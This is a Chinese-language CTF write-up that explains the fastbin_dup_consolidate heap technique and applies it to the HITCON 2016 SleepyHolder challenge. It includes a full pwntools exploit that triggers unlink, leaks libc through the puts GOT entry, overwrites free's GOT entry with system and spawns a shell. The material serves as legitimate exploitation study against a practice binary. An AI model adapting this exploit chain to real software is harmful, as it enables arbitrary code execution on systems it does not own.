fastbin_dup_consolidate
Column: Mar 28, 2021
昨日dasctf, 临时学会了house of orange, 但依旧爆零, 哎, 只能说自己不够努力
利用方式及其效果:
方式: 很简单, 先申请一个fastbin范围内的堆1, 再随便申请一个堆2防止被topchunk合并, 之后释放堆1, 申请large bin大小的堆3, 最后释放一次堆1, 此时不会段错误, 而会让堆1同时存在于fastbin与unsortedbin中
效果: 个人认为how2heap中讲的并不是十分正确, 毕竟效果不是可以像double free一样可以反复申请同一个堆块, 反而是从fastbin和unsortedbin的释放效果中各选了一部分一样: 首先它会像unsortedbin一样将相邻高地址的堆块inuse位置零同时也会被放进unsortedbin链表中(即存在fd和bk的使用), 其次它依旧满足fastbin的free堆块inuse位不置零, 那么如果存在有off by one或者其写入大小符合在不free时可以写入下一个chunk的pre_size, 那么就很容易触发到unlink了
SleepyHolder:
保护检查:
可以修改got表
反汇编分析:
有一堆全局指针, 可以尝试unlink
Add函数中三次分配的大小满足fastbin_dup_consolidate的条件, 且read的0x28大小可以使得下一个chunk的pre_size改变
delete函数中释放了之后指针没有指向NULL
实现思路:
(1). 利用fastbin_dup_consolidate触发unlink
(2). 慢慢修改got表就行了
注意事项:
(1). 要是想修改free的got表, 使用sendline的话, '\n’会破坏puts的got中的低字节, 导致程序中断
(2). 不晓得为啥这题我搜出来的/bin/sh地址, 自己使用的时候就变/bin/dash了(das恐惧症,大嘘)
(3). 后面改got表差不多可以一把梭的, 我没去思考(
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh = process('./sleepyHolder_hitcon_2016')
#sh = remote('node3.buuoj.cn',29064)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./sleepyHolder_hitcon_2016')
#context.log_level='debug'
ptr_to_big=0x6020c0
global flag
flag=1
def Add(index, content):
global flag
if index==3:
flag=0
sh.recvuntil('3. Renew secret\n')
sh.sendline('1')
if flag==1:
sh.recvuntil('3. Keep a huge secret and lock it forever\n')
sh.sendline(str(index))
else:
sh.recvuntil('2. Big secret\n')
sh.sendline(str(index))
sh.recvuntil('Tell me your secret: \n')
sh.sendline(content)
def Delete(index):
sh.recvuntil('3. Renew secret\n')
sh.sendline('2')
sh.recvuntil('2. Big secret\n')
sh.sendline(str(index))
def Edit(index, content, if_line):
sh.recvuntil('3. Renew secret\n')
sh.sendline('3')
sh.recvuntil('2. Big secret\n')
sh.sendline(str(index))
sh.recvuntil('Tell me your secret: \n')
if if_line:
sh.sendline(content)
return
sh.send(content)
Add(1, 'thu1e')
Add(2, 'thu1e')
Delete(1)
Add(3, 'thu1e')
Delete(1)
pause()
ptr_to_small=ptr_to_big+0x10
payload=p64(0)*2+p64(ptr_to_small-0x18)+p64(ptr_to_small-0x10)+p64(0x20)
Add(1, payload)
Delete(2)
Add(2, 'thu1e')
payload=p64(0)+p64(elf.got['free'])+p64(0)+p64(ptr_to_small-0x18)+p32(1)*3
Edit(1, payload, 0)
Edit(2, p64(elf.plt['puts']), 0)
#print str(proc.pidof(sh))
#pause()
payload=p64(0)+p64(elf.got['puts'])+p64(0)+p64(ptr_to_small-0x18)+p32(1)*3
Edit(1, payload, 0)
Delete(2)
puts_addr=u64(sh.recv(6).ljust(8, '\x00'))
#pause()
libc_base=puts_addr-libc.sym['puts']
sys_addr=libc_base+libc.sym['system']
bin_addr=libc_base+next(libc.search('/bin/sh'))
log.success('system address: '+hex(sys_addr))
log.success('/bin/sh address: '+hex(bin_addr))
payload='/bin/sh\x00'+p64(elf.got['free'])+p64(0)+p64(ptr_to_small-0x18)+p32(1)*3
Edit(1, payload, 0)
Edit(2, p64(sys_addr), 0)
#pause()
Delete(1)
sh.interactive()
来个dasctf的pwn的wp救一下啊(悲